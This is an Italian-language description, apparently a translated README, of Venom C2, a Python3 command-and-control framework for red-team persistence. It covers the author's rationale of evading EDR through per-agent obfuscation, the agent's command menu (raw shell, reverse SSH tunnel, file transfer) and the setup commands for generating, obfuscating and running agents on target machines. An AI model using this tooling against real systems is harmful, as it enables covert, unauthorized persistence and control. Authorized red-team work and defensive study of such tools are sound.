
Venom C2 è un framework Command & Control in Python3 senza dipendenze per la persistenza redteam

Venom C2 è un framework Command & Control in Python3 senza dipendenze, creato per la persistenza in redteam e progettato per funzionare su sistemi senza installare pacchetti. Comprende un team server Flask, una GUI operator basata su Electron e un agente Python in un singolo file che comunica su HTTP/HTTPS utilizzando messaggi JSON cifrati AES configurabili. Usalo per eseguire comandi, gestire file, mantenere l'accesso e creare tunnel inversi SSH da sistemi compromessi.
Durante l'escalation dei privilegi di rete ci siamo imbattuti in molti sistemi di produzione con distro e architetture esotiche. Volevamo impostare la persistenza, ma il nostro arsenale di strumenti e tecniche non funzionava. Inoltre, alcuni sistemi target eseguivano EDR.
Erano sistemi di produzione, quindi non volevamo installare pacchetti. Avevamo bisogno di un agente C2 che funzionasse senza dipendenze. I sistemi avevano Python3 installato, così ho creato Venom C2 a metà impegno: un agente C2 in Python3 senza dipendenze che funziona e basta.
Non volevamo usare agenti C2 già pronti perché il rischio era che potessero essere rilevati dalla blue team. Il codice unico è fondamentale per bypassare gli EDR moderni
Poiché c'erano molti sistemi, abbiamo automatizzato offuscamento unico, naming, posizionamento nel filesystem, domini di callback di rete differenti e richieste di percorsi di rete unici per ogni agente.

L'ho chiamato Venom perché mio figlio adora il cattivo Venom di Spider-Man. Inoltre Python è un serpente e i serpenti fighi hanno il veleno, quindi mi è sembrato un buon abbinamento.
Non c'è.
Questo è stato solo un progetto C2 occasionale che ho realizzato a metà impegno. Ci sono voluti circa 2 giorni di sviluppo per renderlo stabile e affidabile nell'ambiente target. Ha fatto il suo lavoro, dandoci la persistenza nella rete per le restanti 6 settimane dell'impegno. Non ho piani per continuare a sviluppare o usare questo progetto, quindi ho pensato che fosse un buon candidato da rilasciare pubblicamente.
Altrimenti sarebbe andato perso nel devNULL...


[11-04-2025 11:31 AM MST] admin help
help : Display this help menu
ls : List directory contents
pwd : Show current working directory
cd : Change directory
cat : Display file contents
mv : Move/rename files or directories
cp : Copy files or directories
mkdir : Create directory
rmdir : Remove empty directory
write : Write content to file
chmod : Change file permissions
rm : Remove (delete) files
shell : Execute raw shell command
sleep : Make agent sleep with optional jitter
sshrev : Create reverse SSH tunnel
kill : Terminate agent process
upload : Upload a file from your local operator box to the remote agent box
download : Download a file from remote agent box to local operator box
git clone https://github.com/boku7/venom
cd venom
pip3 install -r server/requirements.txt
cd server
python3 server.py --help
python3 server.py
python3 server.py --adduser <USERNAME> <PASSWORD>Esegui la UI client sulla tua workstation (non sul server). Deve poter raggiungere il server.
cd ../client
npm install
npm run start
Apri il client, vai su Config e inserisci le credenziali del server.
Il percorso base dell'API client del server è /api/. Non esporre /api/ su internet pubblico. Usa una VPN o regole restrittive di firewall/reverse-proxy in modo che solo i client fidati possano raggiungerlo.
Dalla directory server:
python3 agent_create.py -H <server_host> -P <server_port> [-http]
Dalla directory server:
python3 agent_obfuscate.py agents/<generated_agent_file>.py
Da eseguire sul computer target che vuoi controllare.
python3 /Users/bobby/venom/server/obfuscate/output/obfuscated_agent_20251104_110902.py